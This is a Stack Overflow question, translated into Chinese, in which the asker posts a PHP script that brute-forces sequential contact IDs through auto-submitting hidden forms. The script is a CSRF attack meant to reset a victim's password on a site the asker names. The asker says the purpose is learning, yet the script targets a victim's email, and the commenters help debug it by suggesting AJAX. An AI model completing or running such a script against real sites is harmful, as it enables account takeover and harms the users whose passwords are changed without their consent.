【发布时间】:2017-01-21 07:28:25
【问题描述】:
为了解释我想要完成的事情,这里有一些事实:
- www.testsite.com 不受 CSRF 保护,如果攻击者知道受害者的电子邮件和唯一的联系人 ID,他就有可能更改受害者的密码。
- 每个新用户只需自动递增 1 即可获得一个新 ID。目前只有 3000 个联系人 ID;所以这意味着 1,2,3,4,5,6 --> 3000。
- 如果攻击者知道受害者的电子邮件,他可以简单地继续猜测联系人 ID(最多 3000 个),然后他可以更改它。我想自动执行此操作。
- 我正在尝试创建一个 PHP 脚本来了解有关代码的更多信息并展示它是多么简单。我不是恶意黑客或任何接近的人。
所以我想我可以使用一个循环来自动增加联系人 ID,然后将数据发布到 www.testsite.com。问题是,它不会发送所有的 POST 请求(contactID=1 和另一个 contactID=2 等)...这是我的代码:
<?php
echo "I set the password to 'stackoverflow'. <br/>";
$mailadres = 1; //startvalue to remove that undefined index php error.
if (isset($_GET['mailadres'])){ //i hate undefined errors
$mailadres = $_GET['mailadres'];
}
if ($mailadres == 1) { //Tell users that you have to submit e-mail via _GET
echo "usage: ./csrf.php?mailadres=victim@gmail.com <br/>";
}
$contactid = 1; //We begin with one....
while ($contactid <= 3000) { //There are not more contactID's than 3000 at this moment.
echo "<form name='csrf' action='http://www.testsite.com/submit.php' method='POST'>
<input type='hidden' name='contactid' value='{$contactid}'>
<input type='hidden' name='something' value='something'>
<input type='hidden' name='mailadres'' value='{$mailadres}'>
<input type='hidden' name='changepassword' value='stackoverflow'>
</form>
<script>document.csrf.submit();</script>";
$contactid ++; //increment in order to post every contactID.
}
?>
我的问题是:如何让 PHP 提交所有这些表单(contactid=1 & contactid=2)
【问题讨论】:
-
document.csrf显然采用这样的名称的第一个元素 -
我明白了,这个想法是一个循环。如果我也更改名称,它仍然无法正常工作(是的,我尝试过)。感谢您的回答,感谢您的帮助!
-
您好,尝试使用 ajax post
标签: php forms post request csrf